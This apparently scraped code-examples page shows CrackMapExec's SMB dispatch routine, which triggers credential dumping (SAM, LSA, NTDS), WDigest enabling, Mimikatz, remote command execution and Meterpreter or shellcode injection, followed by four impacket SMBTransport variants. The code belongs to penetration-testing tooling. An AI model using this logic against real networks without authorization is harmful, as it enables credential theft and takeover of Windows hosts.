                wdigest = WdisgestEnable(smb, settings.args.kerb)
                wdigest.enable()

            if settings.args.disable_wdigest:
                wdigest = WdisgestEnable(smb, settings.args.kerb)
                wdigest.disable()

            if settings.args.service:
                service_control = SVCCTL(settings.args.user, 
                                         settings.args.passwd, 
                                         domain,
                                         '{}/SMB'.format(settings.args.port),
                                         settings.args.service, 
                                         settings.args)
                service_control.run(host)

            if settings.args.command:
                EXECUTOR(settings.args.command, host, domain, settings.args.no_output, smb, settings.args.execm)

            if settings.args.pscommand:
                EXECUTOR(ps_command(settings.args.pscommand), host, domain, settings.args.no_output, smb, settings.args.execm)

            if settings.args.mimikatz:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(powah_command.mimikatz(), host, domain, True, smb, settings.args.execm)

            if settings.args.mimikatz_cmd:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb, settings.args.execm)

            if settings.args.powerview:
                #For some reason powerview functions only seem to work when using smbexec...
                #I think we might have a mistery on our hands boys and girls!
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(powah_command.powerview(settings.args.powerview), host, domain, True, smb, 'smbexec')

            if settings.args.inject:
                powah_command = PowerShell(settings.args.server, local_ip)
                if settings.args.inject.startswith('met_'):
                    EXECUTOR(powah_command.inject_meterpreter(), host, domain, True, smb, settings.args.execm)

                if settings.args.inject == 'shellcode':
                    EXECUTOR(powah_command.inject_shellcode(), host, domain, True, smb, settings.args.execm)

                if settings.args.inject == 'dll' or settings.args.inject == 'exe':
                    EXECUTOR(powah_command.inject_exe_dll(), host, domain, True, smb, settings.args.execm)
        try:
            smb.logoff()
        except:
            pass

    except SessionError as e:
        print_error("{}:{} {}".format(host, settings.args.port, e))
        if settings.args.verbose: traceback.print_exc()

    except NetBIOSError as e:
        print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port, e))
        if settings.args.verbose: traceback.print_exc()

    except DCERPCException as e:
        print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port, e))
        if settings.args.verbose: traceback.print_exc()

    except socket.error as e:
        if settings.args.verbose: print_error(str(e))
        return
Ejemplo n.º 22
0
def main_greenlet(host):

    try:

        smb = SMBConnection(host, host, None, settings.args.port)
        try:
            smb.login('' , '')
        except SessionError as e:
            if "STATUS_ACCESS_DENIED" in e.message:
                pass

        domain = settings.args.domain
        s_name = smb.getServerName()
        if not domain:
            domain = smb.getServerDomain()
            if not domain:
                domain = s_name

        cme_logger = CMEAdapter(logging.getLogger('CME'), {'host': host, 
                                                           'hostname': s_name,
                                                           'port': settings.args.port,
                                                           'service': 'SMB'})

        cme_logger.info(u"{} (name:{}) (domain:{})".format(smb.getServerOS(), s_name, domain))

        if settings.args.mssql_instance or settings.args.mssql is not None:
            mssql_greenlet(host, s_name, domain)
            return

        try:
            '''
                DC's seem to want us to logoff first
                Windows workstations sometimes reset the connection, so we handle both cases here
                (go home Windows, you're drunk)
            '''
            smb.logoff()
        except NetBIOSError:
            pass
        except socket.error:
            smb = SMBConnection(host, host, None, settings.args.port)

        if (settings.args.user is not None and (settings.args.passwd is not None or settings.args.hash is not None)) or settings.args.combo_file:

            smb = smart_login(host, domain, smb, cme_logger)
            #Get our IP from the socket
            local_ip = smb.getSMBServer().get_socket().getsockname()[0]

            if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload:
                rfs = RemoteFileSystem(host, smb, cme_logger)
                if settings.args.delete:
                    rfs.delete()
                if settings.args.download:
                    rfs.download()
                if settings.args.upload:
                    rfs.upload()
                if settings.args.list:
                    rfs.list()

            if settings.args.enum_shares:
                shares = SHAREDUMP(smb, cme_logger)
                shares.dump(host)

            if settings.args.enum_users:
                users = SAMRDump(cme_logger,
                                 '{}/SMB'.format(settings.args.port),
                                 settings.args.user, 
                                 settings.args.passwd, 
                                 domain, 
                                 settings.args.hash, 
                                 settings.args.aesKey,
                                 settings.args.kerb)
                users.dump(host)

            if settings.args.sam or settings.args.lsa or settings.args.ntds:
                dumper = DumpSecrets(cme_logger,
                                     'logs/{}'.format(host),
                                     smb,
                                     settings.args.kerb)

                dumper.do_remote_ops()
                if settings.args.sam:
                    dumper.dump_SAM()
                if settings.args.lsa:
                    dumper.dump_LSA()
                if settings.args.ntds:
                    dumper.dump_NTDS(settings.args.ntds,
                                     settings.args.ntds_history,
                                     settings.args.ntds_pwdLastSet)
                dumper.cleanup()

            if settings.args.pass_pol:
                pass_pol = PassPolDump(cme_logger,
                                 '{}/SMB'.format(settings.args.port),
                                 settings.args.user, 
                                 settings.args.passwd, 
                                 domain,
                                 settings.args.hash, 
                                 settings.args.aesKey,
                                 settings.args.kerb)
                pass_pol.dump(host)

            if settings.args.rid_brute:
                lookup = LSALookupSid(cme_logger,
                                      settings.args.user,
                                      settings.args.passwd,
                                      domain,
                                      '{}/SMB'.format(settings.args.port), 
                                      settings.args.hash, 
                                      settings.args.rid_brute)
                lookup.dump(host)

            if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers:
                rpc_query = RPCQUERY(cme_logger,
                                     settings.args.user, 
                                     settings.args.passwd, 
                                     domain, 
                                     settings.args.hash)

                if settings.args.enum_sessions:
                    rpc_query.enum_sessions(host)
                if settings.args.enum_disks:
                    rpc_query.enum_disks(host)
                if settings.args.enum_lusers:
                    rpc_query.enum_lusers(host)

            if settings.args.spider:
                smb_spider = SMBSPIDER(cme_logger, host, smb)
                smb_spider.spider(settings.args.spider, settings.args.depth)
                smb_spider.finish()

            if settings.args.wmi_query:
                wmi_query = WMIQUERY(cme_logger,
                                     settings.args.user,  
                                     domain,
                                     settings.args.passwd,
                                     settings.args.hash,
                                     settings.args.kerb,
                                     settings.args.aesKey)

                wmi_query.run(settings.args.wmi_query, host, settings.args.namespace)

            if settings.args.check_uac:
                uac = UACdump(cme_logger, smb, settings.args.kerb)
                uac.run()

            if settings.args.enable_wdigest or settings.args.disable_wdigest:
                wdigest = WdisgestEnable(cme_logger, smb, settings.args.kerb)
                if settings.args.enable_wdigest:
                    wdigest.enable()
                elif settings.args.disable_wdigest:
                    wdigest.disable()

            if settings.args.service:
                service_control = SVCCTL(cme_logger,
                                         settings.args.user, 
                                         settings.args.passwd, 
                                         domain,
                                         '{}/SMB'.format(settings.args.port),
                                         settings.args.service, 
                                         settings.args)
                service_control.run(host)

            if settings.args.command:
                EXECUTOR(cme_logger, 
                         settings.args.command, 
                         host, 
                         domain, 
                         settings.args.no_output, 
                         smb, 
                         settings.args.execm)

            if settings.args.pscommand:
                EXECUTOR(cme_logger, 
                         ps_command(settings.args.pscommand, settings.args.ps_arch), 
                         host, 
                         domain, 
                         settings.args.no_output, 
                         smb, 
                         settings.args.execm)

            if settings.args.mimikatz:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger, 
                         powah_command.mimikatz(), 
                         host, 
                         domain, 
                         True, 
                         smb, 
                         settings.args.execm)

            if settings.args.gpp_passwords:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger, 
                         powah_command.gpp_passwords(), 
                         host, 
                         domain, 
                         True, 
                         smb, 
                         settings.args.execm)      

            if settings.args.mimikatz_cmd:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger, 
                         powah_command.mimikatz(settings.args.mimikatz_cmd), 
                         host, 
                         domain, 
                         True, 
                         smb, 
                         settings.args.execm)

            if settings.args.powerview:
                #For some reason powerview functions only seem to work when using smbexec...
                #I think we might have a mistery on our hands boys and girls!
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger, 
                         powah_command.powerview(settings.args.powerview), 
                         host, 
                         domain, 
                         True, 
                         smb, 
                         'smbexec')

            if settings.args.inject:
                powah_command = PowerShell(settings.args.server, local_ip)
                if settings.args.inject.startswith('met_'):
                    EXECUTOR(cme_logger, 
                             powah_command.inject_meterpreter(), 
                             host, 
                             domain, 
                             True, 
                             smb, 
                             settings.args.execm)

                if settings.args.inject == 'shellcode':
                    EXECUTOR(cme_logger, 
                             powah_command.inject_shellcode(), 
                             host, 
                             domain, 
                             True,
                             smb, 
                             settings.args.execm)

                if settings.args.inject == 'dll' or settings.args.inject == 'exe':
                    EXECUTOR(cme_logger, 
                             powah_command.inject_exe_dll(), 
                             host, 
                             domain, 
                             True, 
                             smb, 
                             settings.args.execm)
        try:
            smb.logoff()
        except:
            pass

    except SessionError as e:
        print_error("{}:{} {}".format(host, settings.args.port, e))
        if settings.args.verbose: traceback.print_exc()

    except NetBIOSError as e:
        print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port, e))
        if settings.args.verbose: traceback.print_exc()

    except DCERPCException as e:
        print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port, e))
        if settings.args.verbose: traceback.print_exc()

    except socket.error as e:
        if settings.args.verbose: print_error(str(e))
        return
Ejemplo n.º 23
0
class SMBTransport(DCERPCTransport):
    """Implementation of ncacn_np protocol sequence"""

    def __init__(self, dstip, dstport=445, filename='', username='', password='', domain='', lmhash='', nthash='',
                 aesKey='', TGT=None, TGS=None, remote_name='', smb_connection=0, doKerberos=False):
        DCERPCTransport.__init__(self, dstip, dstport)
        self.__socket = None
        self.__tid = 0
        self.__filename = filename
        self.__handle = 0
        self.__pending_recv = 0
        self.set_credentials(username, password, domain, lmhash, nthash, aesKey, TGT, TGS)
        self.__remote_name = remote_name
        self._doKerberos = doKerberos

        if smb_connection == 0:
            self.__existing_smb = False
        else:
            self.__existing_smb = True
            self.set_credentials(*smb_connection.getCredentials())

        self.__prefDialect = None

        if isinstance(smb_connection, smb.SMB):
            # Backward compatibility hack, let's return a
            # SMBBackwardCompatibilityTransport instance
            return SMBBackwardCompatibilityTransport(filename = filename, smb_server = smb_connection)
        else:
            self.__smb_connection = smb_connection

    def preferred_dialect(self, dialect):
        self.__prefDialect = dialect

    def setup_smb_connection(self):
        if not self.__smb_connection:
            if self.__remote_name == '':
                if self.get_dport() == nmb.NETBIOS_SESSION_PORT:
                    self.__smb_connection = SMBConnection('*SMBSERVER', self.get_dip(), sess_port = self.get_dport(),preferredDialect = self.__prefDialect)
                else:
                    self.__smb_connection = SMBConnection(self.get_dip(), self.get_dip(), sess_port = self.get_dport(),preferredDialect = self.__prefDialect)
            else:
                self.__smb_connection = SMBConnection(self.__remote_name, self.get_dip(), sess_port = self.get_dport(),preferredDialect = self.__prefDialect)

    def connect(self):
        # Check if we have a smb connection already setup
        if self.__smb_connection == 0:
           self.setup_smb_connection()
           if self._doKerberos is False:
               self.__smb_connection.login(self._username, self._password, self._domain, self._lmhash, self._nthash)
           else:
               self.__smb_connection.kerberosLogin(self._username, self._password, self._domain, self._lmhash, self._nthash, self._aesKey, TGT=self._TGT, TGS=self._TGS)
        self.__tid = self.__smb_connection.connectTree('IPC$')
        self.__handle = self.__smb_connection.openFile(self.__tid, self.__filename)
        self.__socket = self.__smb_connection.getSMBServer().get_socket()
        return 1

    def disconnect(self):
        self.__smb_connection.disconnectTree(self.__tid)
        # If we created the SMB connection, we close it, otherwise
        # that's up for the caller
        if self.__existing_smb is False:
            self.__smb_connection.logoff()
            self.__smb_connection = 0

    def send(self,data, forceWriteAndx = 0, forceRecv = 0):
        if self._max_send_frag:
            offset = 0
            while 1:
                toSend = data[offset:offset+self._max_send_frag]
                if not toSend:
                    break
                self.__smb_connection.writeFile(self.__tid, self.__handle, toSend, offset = offset)
                offset += len(toSend)
        else:
            self.__smb_connection.writeFile(self.__tid, self.__handle, data)
        if forceRecv:
            self.__pending_recv += 1

    def recv(self, forceRecv = 0, count = 0 ):
        if self._max_send_frag or self.__pending_recv:
            # _max_send_frag is checked because it's the same condition we checked
            # to decide whether to use write_andx() or send_trans() in send() above.
            if self.__pending_recv:
                self.__pending_recv -= 1
            return self.__smb_connection.readFile(self.__tid, self.__handle, bytesToRead = self._max_recv_frag)
        else:
            return self.__smb_connection.readFile(self.__tid, self.__handle)

    def get_smb_connection(self):
        return self.__smb_connection

    def set_smb_connection(self, smb_connection):
        self.__smb_connection = smb_connection
        self.set_credentials(*smb_connection.getCredentials())
        self.__existing_smb = True

    def get_smb_server(self):
        # Raw Access to the SMBServer (whatever type it is)
        return self.__smb_connection.getSMBServer()

    def get_socket(self):
        return self.__socket

    def doesSupportNTLMv2(self):
        return self.__smb_connection.doesSupportNTLMv2()
Ejemplo n.º 24
0
class SMBTransport(DCERPCTransport):
    """Implementation of ncacn_np protocol sequence"""

    def __init__(
        self,
        remoteName,
        dstport=445,
        filename="",
        username="",
        password="",
        domain="",
        lmhash="",
        nthash="",
        aesKey="",
        TGT=None,
        TGS=None,
        remote_host="",
        smb_connection=0,
        doKerberos=False,
        kdcHost=None,
    ):
        DCERPCTransport.__init__(self, remoteName, dstport)
        self.__socket = None
        self.__tid = 0
        self.__filename = filename
        self.__handle = 0
        self.__pending_recv = 0
        self.set_credentials(username, password, domain, lmhash, nthash, aesKey, TGT, TGS)
        self._doKerberos = doKerberos
        self._kdcHost = kdcHost

        if remote_host != "":
            self.setRemoteHost(remote_host)

        if smb_connection == 0:
            self.__existing_smb = False
        else:
            self.__existing_smb = True
            self.set_credentials(*smb_connection.getCredentials())

        self.__prefDialect = None
        self.__smb_connection = smb_connection

    def preferred_dialect(self, dialect):
        self.__prefDialect = dialect

    def setup_smb_connection(self):
        if not self.__smb_connection:
            self.__smb_connection = SMBConnection(
                self.getRemoteName(),
                self.getRemoteHost(),
                sess_port=self.get_dport(),
                preferredDialect=self.__prefDialect,
            )

    def connect(self):
        # Check if we have a smb connection already setup
        if self.__smb_connection == 0:
            self.setup_smb_connection()
            if self._doKerberos is False:
                self.__smb_connection.login(self._username, self._password, self._domain, self._lmhash, self._nthash)
            else:
                self.__smb_connection.kerberosLogin(
                    self._username,
                    self._password,
                    self._domain,
                    self._lmhash,
                    self._nthash,
                    self._aesKey,
                    kdcHost=self._kdcHost,
                    TGT=self._TGT,
                    TGS=self._TGS,
                )
        self.__tid = self.__smb_connection.connectTree("IPC$")
        self.__handle = self.__smb_connection.openFile(self.__tid, self.__filename)
        self.__socket = self.__smb_connection.getSMBServer().get_socket()
        return 1

    def disconnect(self):
        self.__smb_connection.disconnectTree(self.__tid)
        # If we created the SMB connection, we close it, otherwise
        # that's up for the caller
        if self.__existing_smb is False:
            self.__smb_connection.logoff()
            self.__smb_connection = 0

    def send(self, data, forceWriteAndx=0, forceRecv=0):
        if self._max_send_frag:
            offset = 0
            while 1:
                toSend = data[offset : offset + self._max_send_frag]
                if not toSend:
                    break
                self.__smb_connection.writeFile(self.__tid, self.__handle, toSend, offset=offset)
                offset += len(toSend)
        else:
            self.__smb_connection.writeFile(self.__tid, self.__handle, data)
        if forceRecv:
            self.__pending_recv += 1

    def recv(self, forceRecv=0, count=0):
        if self._max_send_frag or self.__pending_recv:
            # _max_send_frag is checked because it's the same condition we checked
            # to decide whether to use write_andx() or send_trans() in send() above.
            if self.__pending_recv:
                self.__pending_recv -= 1
            return self.__smb_connection.readFile(self.__tid, self.__handle, bytesToRead=self._max_recv_frag)
        else:
            return self.__smb_connection.readFile(self.__tid, self.__handle)

    def get_smb_connection(self):
        return self.__smb_connection

    def set_smb_connection(self, smb_connection):
        self.__smb_connection = smb_connection
        self.set_credentials(*smb_connection.getCredentials())
        self.__existing_smb = True

    def get_smb_server(self):
        # Raw Access to the SMBServer (whatever type it is)
        return self.__smb_connection.getSMBServer()

    def get_socket(self):
        return self.__socket

    def doesSupportNTLMv2(self):
        return self.__smb_connection.doesSupportNTLMv2()
Ejemplo n.º 25
0
class SMBTransport(DCERPCTransport):
    """Implementation of ncacn_np protocol sequence"""

    def __init__(self, remoteName, dstport=445, filename='', username='', password='', domain='', lmhash='', nthash='',
                 aesKey='', TGT=None, TGS=None, remote_host='', smb_connection=0, doKerberos=False, kdcHost=None):
        DCERPCTransport.__init__(self, remoteName, dstport)
        self.__socket = None
        self.__tid = 0
        self.__filename = filename
        self.__handle = 0
        self.__pending_recv = 0
        self.set_credentials(username, password, domain, lmhash, nthash, aesKey, TGT, TGS)
        self._doKerberos = doKerberos
        self._kdcHost = kdcHost

        if remote_host != '':
            self.setRemoteHost(remote_host)

        if smb_connection == 0:
            self.__existing_smb = False
        else:
            self.__existing_smb = True
            self.set_credentials(*smb_connection.getCredentials())

        self.__prefDialect = None
        self.__smb_connection = smb_connection

    def preferred_dialect(self, dialect):
        self.__prefDialect = dialect

    def setup_smb_connection(self):
        if not self.__smb_connection:
            self.__smb_connection = SMBConnection(self.getRemoteName(), self.getRemoteHost(), sess_port=self.get_dport(),
                                                  preferredDialect=self.__prefDialect)
            if self._strict_hostname_validation:
                self.__smb_connection.setHostnameValidation(self._strict_hostname_validation, self._validation_allow_absent, self._accepted_hostname)

    def connect(self):
        # Check if we have a smb connection already setup
        if self.__smb_connection == 0:
            self.setup_smb_connection()
            if self._doKerberos is False:
                self.__smb_connection.login(self._username, self._password, self._domain, self._lmhash, self._nthash)
            else:
                self.__smb_connection.kerberosLogin(self._username, self._password, self._domain, self._lmhash,
                                                    self._nthash, self._aesKey, kdcHost=self._kdcHost, TGT=self._TGT,
                                                    TGS=self._TGS)
        self.__tid = self.__smb_connection.connectTree('IPC$')
        self.__handle = self.__smb_connection.openFile(self.__tid, self.__filename)
        self.__socket = self.__smb_connection.getSMBServer().get_socket()
        return 1

    def disconnect(self):
        self.__smb_connection.disconnectTree(self.__tid)
        # If we created the SMB connection, we close it, otherwise
        # that's up for the caller
        if self.__existing_smb is False:
            self.__smb_connection.logoff()
            self.__smb_connection.close()
            self.__smb_connection = 0

    def send(self,data, forceWriteAndx = 0, forceRecv = 0):
        if self._max_send_frag:
            offset = 0
            while 1:
                toSend = data[offset:offset+self._max_send_frag]
                if not toSend:
                    break
                self.__smb_connection.writeFile(self.__tid, self.__handle, toSend, offset = offset)
                offset += len(toSend)
        else:
            self.__smb_connection.writeFile(self.__tid, self.__handle, data)
        if forceRecv:
            self.__pending_recv += 1

    def recv(self, forceRecv = 0, count = 0 ):
        if self._max_send_frag or self.__pending_recv:
            # _max_send_frag is checked because it's the same condition we checked
            # to decide whether to use write_andx() or send_trans() in send() above.
            if self.__pending_recv:
                self.__pending_recv -= 1
            return self.__smb_connection.readFile(self.__tid, self.__handle, bytesToRead = self._max_recv_frag)
        else:
            return self.__smb_connection.readFile(self.__tid, self.__handle)

    def get_smb_connection(self):
        return self.__smb_connection

    def set_smb_connection(self, smb_connection):
        self.__smb_connection = smb_connection
        self.set_credentials(*smb_connection.getCredentials())
        self.__existing_smb = True

    def get_smb_server(self):
        # Raw Access to the SMBServer (whatever type it is)
        return self.__smb_connection.getSMBServer()

    def get_socket(self):
        return self.__socket

    def doesSupportNTLMv2(self):
        return self.__smb_connection.doesSupportNTLMv2()
Ejemplo n.º 26
0
class SMBTransport(DCERPCTransport):
    """Implementation of ncacn_np protocol sequence"""

    def __init__(self, target, credential = SMBCredential(), filename='', smb_connection=None):
        DCERPCTransport.__init__(self, target)
        self.__socket = None
        self.__tid = 0
        self.__filename = filename
        self.__handle = 0
        self.__pending_recv = 0
        self.__credential = credential
        self.set_credentials(credential)

        if target.hostname is not None:
            self.setRemoteHost(target.hostname)

        if smb_connection is None:
            self.__existing_smb = False
        else:
            self.__existing_smb = True
            self.set_credentials(smb_connection.getCredentials())

        self.__prefDialect = None
        self.__smb_connection = smb_connection

    def preferred_dialect(self, dialect):
        self.__prefDialect = dialect

    def setup_smb_connection(self):
        if not self.__smb_connection:
            self.__smb_connection = SMBConnection(self.getRemoteName(), self.getRemoteHost(), sess_port=self.get_dport(),
                                                  preferredDialect=self.__prefDialect)

    def connect(self):
        # Check if we have a smb connection already setup
        if self.__smb_connection is None:
            self.setup_smb_connection()
            if self._doKerberos is False:
                self.__smb_connection.login(self.__credential)
            else:
                self.__smb_connection.kerberos_login(self.__credential)
        self.__tid = self.__smb_connection.connectTree('IPC$')
        self.__handle = self.__smb_connection.openFile(self.__tid, self.__filename)
        self.__socket = self.__smb_connection.getSMBServer().get_socket()
        return 1

    def disconnect(self):
        self.__smb_connection.disconnectTree(self.__tid)
        # If we created the SMB connection, we close it, otherwise
        # that's up for the caller
        if self.__existing_smb is False:
            self.__smb_connection.logoff()
            self.__smb_connection.close()
            self.__smb_connection = None

    def send(self,data, forceWriteAndx = 0, forceRecv = 0):
        if self._max_send_frag:
            offset = 0
            while 1:
                toSend = data[offset:offset+self._max_send_frag]
                if not toSend:
                    break
                self.__smb_connection.writeFile(self.__tid, self.__handle, toSend, offset = offset)
                offset += len(toSend)
        else:
            self.__smb_connection.writeFile(self.__tid, self.__handle, data)
        if forceRecv:
            self.__pending_recv += 1

    def recv(self, forceRecv = 0, count = 0 ):
        if self._max_send_frag or self.__pending_recv:
            # _max_send_frag is checked because it's the same condition we checked
            # to decide whether to use write_andx() or send_trans() in send() above.
            if self.__pending_recv:
                self.__pending_recv -= 1
            return self.__smb_connection.readFile(self.__tid, self.__handle, bytesToRead = self._max_recv_frag)
        else:
            return self.__smb_connection.readFile(self.__tid, self.__handle)

    def get_smb_connection(self):
        return self.__smb_connection

    def set_smb_connection(self, smb_connection):
        self.__smb_connection = smb_connection
        self.set_credentials(smb_connection.getCredentials())
        self.__existing_smb = True

    def get_smb_server(self):
        # Raw Access to the SMBServer (whatever type it is)
        return self.__smb_connection.getSMBServer()

    def get_socket(self):
        return self.__socket

    def doesSupportNTLMv2(self):
        return self.__smb_connection.doesSupportNTLMv2()